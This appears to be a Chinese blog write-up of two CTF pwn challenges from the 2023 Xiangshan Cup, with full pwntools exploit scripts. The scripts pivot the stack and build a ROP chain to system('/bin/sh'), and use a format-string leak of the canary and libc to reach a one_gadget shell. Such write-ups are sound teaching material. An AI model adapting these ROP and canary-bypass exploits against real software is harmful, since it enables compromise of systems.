2023香山杯

2023香山杯

move

一眼栈溢出,然后三次栈迁移。

exp

from tools import*
context(os='linux',arch='amd64',log_level='debug')
p,e,libc=load("./pwn")
pop_rdi=0x401353
ret=0x40101a
bss=0x4050A0
leave_ret=0x40124b
read=0x401230
pop_rbp=0x40119d
payload=p64(pop_rbp)+p64(bss)+p64(read)
p.recvuntil("lets travel again!\n")
debug(p,0x40124B,0x4012D6)
p.send(payload)
p.recvuntil("Input your setp number")
p.send('\x78\x56\x34\x12')
payload=b"a"*0x26+b'bb'+p64(bss-8)*2+p64(leave_ret)
p.send(payload)
payload=p64(0x405070-8)+p64(pop_rdi)+p64(e.got['puts'])+p64(0x40125C )+p64(0x405070-8)+p64(read)+p64(0x405070)+p64(leave_ret)
p.send(payload)
libc_base=recv_libc()-0x80970
log_addr('libc_base')
bin_sh=libc_base+0x1b3d88 
system_addr=libc_base+0x4f420
payload=p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0xdeadbeef)*2+p64(0x405030)+p64(leave_ret)
p.sendline(payload)
p.interactive()

pwthon

漏洞比较简单,就是格式化字符串,栈溢出,难的是第一次见这种题型,不知道怎么本地运行的,泄露canary 查找溢出偏移都是远程完成的,直到查找 libc 麻瓜了,必须本地调试

这个本地调试的方法有以下几个点

1、必须是 python3.7

2、使用 sys.path.append("/home/zikh/Desktop/app.cpython-37m-x86_64-linux-gnu.so") 去导入他给的库

3、使用 gdb 调试他给的库,在用 attach 调试进程

结合本地和远程泄露的 libc 地址发现 libc 就是我本地的环境

exp

from tools import*
context.log_level = "debug"
p=process(["python3.7","main.py"])
# p=remote('123.56.9.101',16674)
p.sendlineafter('> ','0')
p.sendline(b'%p.'*(0x20))
p.recv()
data=p.recv()
canary=data[-22:-4]
libc_base=data[-79:-65]#
log_info(canary)
log_info(libc_base)
canary=int(canary,16)
libc_base=int(libc_base,16)-0x10fcdd
log_addr('canary')
log_addr('libc_base')
p.sendline(b'a'*264+p64(canary)*2+p64(libc_base+0x4f2a5))


p.interactive()

posted @ 2023-10-16 10:58  何思泊河  阅读(170)  评论(0编辑  收藏  举报